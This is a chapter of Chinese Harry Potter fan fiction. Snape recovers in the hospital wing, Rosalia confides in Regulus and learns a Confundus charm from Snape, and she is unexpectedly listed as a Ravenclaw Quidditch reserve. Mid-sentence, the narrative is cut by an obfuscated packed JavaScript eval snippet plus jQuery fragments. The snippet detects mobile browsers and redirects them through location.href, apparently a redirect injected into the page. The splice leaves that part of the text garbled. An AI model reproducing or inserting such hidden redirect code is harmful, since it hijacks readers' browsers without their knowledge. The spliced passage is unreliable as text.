由于斯内普的锁骨断成了好几块,庞弗雷夫人决定配合一些生骨灵来医治,因此,他至少要在床上躺两天才能完全恢复。


    “我现在要固定他的肩颈,防止他醒来之后乱动——”


    校医院的病床边,庞弗雷夫人一边脱斯内普的外衣一边恼火地嘟哝,“他平时吃的饭菜都补到哪里去了,光长脑子不长皮肉吗?”


    说完,她又匆匆地回过头:“小姐们,我得提醒一下:躺在这儿的是个男孩儿,你们最好到帘子外面去——他不会有事的。”


    于是莉莉赶忙拉住罗萨利亚,将她牵到了帘子外面。


    间隔床位的白帘被草草笼上,但还留了一条绰绰的缝隙。罗萨利亚无法控制自己不朝里面看去——现在斯内普裸着上身,庞弗雷夫人正在给他固定肩颈。莉莉顺着她的目光瞥了一眼,随后脸颊泛红地匆匆别开视线。


    与此同时,雷古勒斯推开校医院的门走了进来——他刚刚回了趟宿舍安置飞天扫帚和护具,顺便换了一套干净的衣袍。


    “西弗勒斯醒了吗?”他问。


    “还没有。”罗萨利亚瞧了眼雷古勒斯,扭头对莉莉说:“莉莉,你先去换衣洗漱吧,等你回来我再去。”


    莉莉点了点头:“好,我一会儿就来。”


    “你们可以留在这儿,但要注意保持安静。”庞弗雷夫人从白帘后面出来,给罗萨利亚和雷古勒斯一人变出一张圆凳,紧接着又赶去处理其他学生的伤势。


    两人挤到病床边,重新拉上白帘。罗萨利亚掏出魔杖,在四周施展了闭耳塞听。雷古勒斯显然不清楚她念了什么,在听说这是一个防偷听魔咒后,眨着眼露出了“想学”的神情。


    “这个不行。”罗萨利亚清清嗓子说:“这是一份私人礼物(雷古勒斯听完,瞄了一眼斯内普)——是的,我没想瞒你这个,但我答应了他不外传。”


    “哦。”雷古勒斯有点儿郁闷地道。


    “雷吉,我用这个咒语,是有重要的发现想告诉你。”罗萨利亚正色道:“我从西里斯那里无意中得知的,和你之前……在禁林中告诉我的事情有关。你想听吗?”


    “……什么?”雷古勒斯先是一怔,随后意识到了什么,放在膝盖上的手慢慢地攥紧了:“你说吧。”


    罗萨利亚轻抚他的手背,温声说:“你还记得阿尔法德·布莱克吗?他和我叔叔阿莱西奥是朋友,我向你问过他。我最近发现,西里斯一直和阿尔法德有联系——你知道这件事吗?”


    雷古勒斯迷茫地摇了摇头。


    “这种联系差不多是从1968年、也就是你七岁左右开始的。从那时起,西里斯便总趁家里没人,偷跑去找阿尔法德。”罗萨利亚娓娓道来:“如果我没记错,你告诉过我,西里斯曾说要带你出去玩,是吗?那时候是夏天?”


    “……是。”雷古勒斯像是隐约感觉到什么,眼睛一眨也不眨地等着罗萨利亚的后话。


    “西里斯当时是想带你去找阿尔法德。”罗萨利亚轻声说了出来:“本来,如果顺利的话,你会和他在阿尔法德那儿玩一整天——也许还能听听音乐?你喜欢我叔叔在课上放的摇滚歌曲吗?”


    不知道过了多久,雷古勒斯才点了点头,声音喑哑地说:“我喜欢。”


    “就是这样。”罗萨利亚拍拍他,哄道:“我要说的就这么多,雷吉。如果你愿意相信我说的……”


    “我相信。”雷古勒斯说。


    罗萨利亚注视着他,微微地笑了。


    雷古勒斯静默片刻。又轻轻说:“但我还是不想原谅西里斯,罗萨利亚。他当时走得太快了。”


    “没错,你很努力地跟着他了,是他没注意照顾你。”


    “而且我醒来后,他和妈妈还一直吵架。”


    “是啊,他们忙着仇恨彼此,甚至忘了关心你。这真讨厌。”


    “这真讨厌。”


    话语停息,白帘之间安静了一会儿。罗萨利亚能听到庞弗雷夫人来回走动的声音。


    随后,她挥动魔杖,心里想着阿莱西奥桌上的那个糖罐,变出了一盒巧克力蛙递给雷古勒斯:“其实我还有另一个发现——你知道吗,雷古勒斯,西里斯不能吃巧克力。”


    雷古勒斯撕开包装,一把捏住准备起跳的巧克力蛙,将它按回邓布利多肖像卡片上,偏过头不解地问:“为什么?”


    “因为西里斯是狗,”罗萨利亚一本正经地说,“狗吃巧克力会完蛋的!”(1)


    雷古勒斯愣了愣,然后一下没忍住似的,抖着肩膀笑了。他大口咬下了巧克力蛙的脑袋,把全部的黏稠咽到了肚子里。


    也许是察觉到了巧克力蛙的凭空消失,又或者是碰巧听说了什么。莉莉前脚刚回到校医院,后脚阿莱西奥就赶来了——


    准确来说,先到场的是阿莱西奥的守护神雨燕。


    它闪着银光围绕罗萨利亚转圈圈,随后一眨眼飞到了门口。


    紧接着,阿莱西奥就从门缝里探出了脑袋。


    他闪身进来,啧啧地看向他们:“一、二、三——床上还有一个。好吧!有没有人打算告诉我发生了什么?”


    三人面面相觑,然后你一言我一语地讲完了来龙去脉。莉莉和雷古勒斯还时不时停下来看向罗萨利亚,仿佛在担心自己多说了不该讲的话。


    而罗萨利亚——兀自叹息一声:坏事是早上干的,错是中午认的,阿莱西奥有关她禁闭的打算的话,也是可以从下午就立刻开始执行的——很快速很方便啊。


    不出预料地,阿莱西奥听完陷入了沉默。罗萨利亚还以为他要生气了——毕竟他都不希望她骂人,那更别说打人了。


    谁知道,对方深吸一口气说:


    “罗萨利亚,你有没有兴趣加入魁地奇校队?我觉得你肯定有飞行方面的天赋——什么?选拔结束了?没关系,我可以问问他们缺不缺替补,别浪费雷古勒斯送的光轮1477嘛,对吧?嗯哼,罗萨利亚当然跟我提过你啦,雷古勒斯,我知道你和莉莉都是她的好朋友。对了,等会儿吃完午饭,你来我办公室把二年级的黑魔法防御课作业拿回去,怎么样?”


    ……原来阿莱西奥的关注点根本就不在她犯的错上啊!罗萨利亚古怪地想。


    好巧不巧,斯内普在阿莱西奥说这一大串话的时候恢复了意识。


    罗萨利亚甚至有点儿怀疑他是不是被吵醒的——他拧着眉头,睁开眼,看上去有点茫然,似乎不明白为什么自己床边站了那么多人。不过疼痛很快就接管了他的表情。然后一连串的“不”、“别起来”、“快躺下”就在校医院里回荡起来。


    庞弗雷夫人不得不再次出现,要求四人给他和其他伤员一个安静休息的空间。


    “其他的伤员?”斯内普的声音还有点哑。


    阿莱西奥一耸肩膀,指着罗萨利亚告状道:“问她——唉,你快讲讲她吧,西弗勒斯,我觉得我是管不了她了——罗萨利亚,你待会儿别忘了回去洗热水澡——走吧,我们先去吃饭。”


    说完,他就揽着莉莉和雷古勒斯往礼堂走去。


    校医院内恢复了平静。


    斯内普盯着罗萨利亚——但是他躺在床上,连脑袋都不能轻松转动,这显然是没什么威慑力的——问:“……你干什么辉煌事迹了?”


    一听这话,很诡异地,罗萨利亚立刻有些心虚——甚至在等待阿莱西奥说话时,她都没有这种感觉——毕竟她也没干什么错事,对吧?


    ……对吧?


    出于本能,罗萨利亚飞快地在心里删减出一个自认为温和友好的故事版本,然后在闭耳塞听咒的保护下交代给了斯内普,还试图通过强调莉莉忙前忙后的努力来转移他的注意——


    然而,斯内普却选择展露那看一眼魔药颜色就知道她的哪一步做错了的精准力,说:


    “所以你是说,你‘正好想体验’一次魁地奇,于是冒充斯莱特林在暴雨天跟十几把不长眼的扫帚‘赛跑’,顺便‘梆梆’给了诺特和埃弗里一球,‘反正也没人会注意’,是吗?罗萨利亚,你找到绝佳的理由违规了,非常聪明——你指望我这么表扬你吗?”


    罗萨利亚的嘴一下快过了脑子:“如果你愿意的话。”


    斯内普像被这话气到了:“你有没有考虑过这么做可能产生的后果?”


    罗萨利亚小声抗议道:“我当然考虑过,所以才计划好了每一步。除了你和诺特、还有雷古勒斯,在场的斯莱特林没有一个知道那是我——我早用摄神取念确认了。”


    “那么在整个计划过程中,就没有半分‘我不该这么做’的念头光顾你的脑子?”


    “有!但你受伤了,所以我不能让他们轻而易举地逃了,就是这样!”


    斯内普突然像被噎住那样不说话了。他喉结滚了滚,眼睛重重地一眨移开了视线。


    罗萨利亚也一时间没有说话。


    “……拿出你的魔杖。”斯内普最终低声说,语气奇迹般地好了许多。


    罗萨利亚顺着他的台阶就迈了下来,撇着嘴照做:“拿魔杖干什么?”


    “教你混淆咒。”斯内普道:“我抬不起胳膊,所以你得自己动手——你不能心存侥幸,认为诺特会因为理亏就忍下这件事。混淆咒能让他以为自己是不小心受伤的。”


    罗萨利亚:“……你什么时候学会混淆咒的?除了我,你还跟别人练习魔咒吗?”


    斯内普回瞥她一眼,耐心地说:“我没跟别人练习,只在穆尔塞伯身上用过一次。”


    罗萨利亚撅着嘴“哦”了一声:“那我拿谁试验呢?你吗?”


    “不然呢?”斯内普看过来问:“你的‘好朋友’、‘纯洁’的雷古勒斯吗?”


    他果然听见阿莱西奥絮絮叨叨的那些话了!还有,这人怎么这么记仇!


    总而言之,罗萨利亚忍气吞声地学了,并在诺特醒来后给了他一个很用力的混淆咒,让他以为自己是因为埃弗里才栽到地上的。至于埃弗里——他完全不知道诺特在说什么,更不想听对方的指责,两个人直接吵了起来。


    终于,庞弗雷夫人忍无可忍,冲出来捏住他们的下巴,给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112051|192924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    二人一人灌了一杯安眠的魔药。


    白帘后面,斯内普当着罗萨利亚的面,露出了满意的笑容。


    周一早上,斯内普顺利地出院了。同时,四学院魁地奇赛队成员名单正式公布:


    斯莱特林学院找球手的位置无疑是雷古勒斯·布莱克的。而格兰芬多学院这边,小天狼星·布莱克成为了击球手——


    也就是说,这俩兄弟要在十一月的比赛中交锋了。


    罗萨利亚望着拉文克劳休息室的告示栏挑了挑眉。


    接下来是拉文克劳球队的入选名单……


    嗯?她眨了眨眼。


    小巴蒂·克劳奇入选了?甚至担任的是对力量有需求的击球手。罗萨利亚多少有点诧异,不过很快就自圆其说了:


    一个好的击球手还得具备出色的预判和控场能力,而这些无疑是对方的优势……她回想起昨天小巴蒂拿着球棒站在雨里看着自己的样子,还有她摄神取念感知到的、那种来自对方的兴奋情绪——明明视角有限,却能依据蛛丝马迹快速判断出是她动了手脚,这正说明小巴蒂的观察力和推理能力都很强,而且……他似乎还相当享受挖掘真相的乐趣?


    这么一想,他会入选也并不奇怪。罗萨利亚心中嘀咕着,目光又往下移了移——


    ……嗯?


    嗯?等等——


    她吃惊地盯着小巴蒂·克劳奇后面的名字,反复确认了好几遍,甚至抬起手摸了一下。


    为什么——


    “为什么我的名字会出现在上面啊?”


    罗萨利亚指着出现在【替补人选】中的【罗萨利亚·拉文谢德】,急促地拉来拉文克劳魁地奇队长埃里克·芒奇道。


    芒奇挠挠头说:“啊,昨天下午,弗立维教授找到我并举荐了你当替补,说拉文谢德教授和卢多·巴格曼都能作证你飞得不错,正好今年缺人,我就把你放进名单了。我以为你早知道了?”


    “没人和我商量啊?”罗萨利亚一说完,随即回忆起了阿莱西奥在校医院说过的话——


    等一下,他原来是认真的吗!他真的跑去问了?也用不着对她这么上心吧!


    这时,芒奇盯着她,突然“哎”一声,道:“等一下,你有点儿眼熟,你不是昨天那个——”


    “请问现在还能退队吗?”罗萨利亚赶紧打断他。


    芒奇为难地说:“这都公示了……教授那边我也不好交代呀。”


    “所以就没有别的办法了?”


    “没有了。”


    北塔楼内,罗萨利亚抱着《拨开迷雾看未来》,平静地回答了潘多拉的提问:“芒奇说魁地奇训练会从本周五开始。坏消息:替补也要跟训。”好消息是,阿莱西奥得知自己会错意后又给她塞了一袋金加隆零花钱作为补偿。


    潘多拉“嗯”了一会儿,不知道思绪又跑到哪个国家度假了,随后煞有介事地说:“我想这一切都是纺线三精灵的安排,你被命运之线紧紧缠住了,罗萨。”


    这时,两人头顶的阁楼传来一阵桌椅挪动的声响,是五年级的学生结束占卜课了。他们正从梯子上一个个爬下来,手上还拿着《解梦指南》——这本书的作者伊尼戈·英麦格,正是霍格沃茨占卜课的现任教授。


    “听上去很容易绊倒啊。”罗萨利亚随口道。


    “或许被绊倒也是一种命运。”潘多拉老神在在地讲。


    话音刚落,“咚”地一声,一个格兰芬多学生就从梯子上摔了下来,正好砸在两人脚边。所有等待上课和匆忙下课的学生都停下来看那人。而在他们头顶上,另一个学生正嬉皮笑脸地顺着梯子下来,问:“伯莎,你没事吧?”


    地上的人正是伯莎·乔金斯。她脸色涨红地从地上爬起来:“弗洛伦斯!你敢说自己刚才没有挤我?”


    那个叫弗洛伦斯的学生吃惊地说:“挤你?伯莎?我觉得我只是逗了逗你呀——嘿,那边低年级的,别帮她捡东西。”


    罗萨利亚刚弯下腰,想要去捡伯莎散落在一旁的绿色羽毛笔,就听见了弗洛伦斯的话。可她动作没停,捡起笔递给了伯莎。这时,伯莎仿佛才注意到罗萨利亚,像是认出她一般,脸上露出了一种奇怪的神情。她飞快地说了声谢谢,扭头朝塔楼下走去。


    潘多拉扯了扯罗萨利亚的衣角,有些惧怕地打量着弗洛伦斯。果然,下一刻,后者便不高兴地看了过来:“你是谁?伯莎·乔金斯的朋友——别开玩笑了,她这么一个讨人嫌的家伙,还能有朋友?”


    “我不认识她,只是过来上课。”罗萨利亚淡淡地回答。


    弗洛伦斯打量着她,眼睛上下扫视着,忽然挑起眉梢:“黑发、圆髻、直鼻梁,还有一双蜂蜜色的狐狸眼——(她又瞥了眼那本《拨开迷雾看未来》)还是三年级?你不会就是那个拉文谢德吧?”


    她很快就从潘多拉讶异的神色中确定了自己的判断,撩了撩头发,意味深长地笑道:“真的?哈哈,太有意思了。帮伯莎·乔金斯?你迟早会后悔的。”


    说完,她拉过身边的同伴,头也不回地离开了。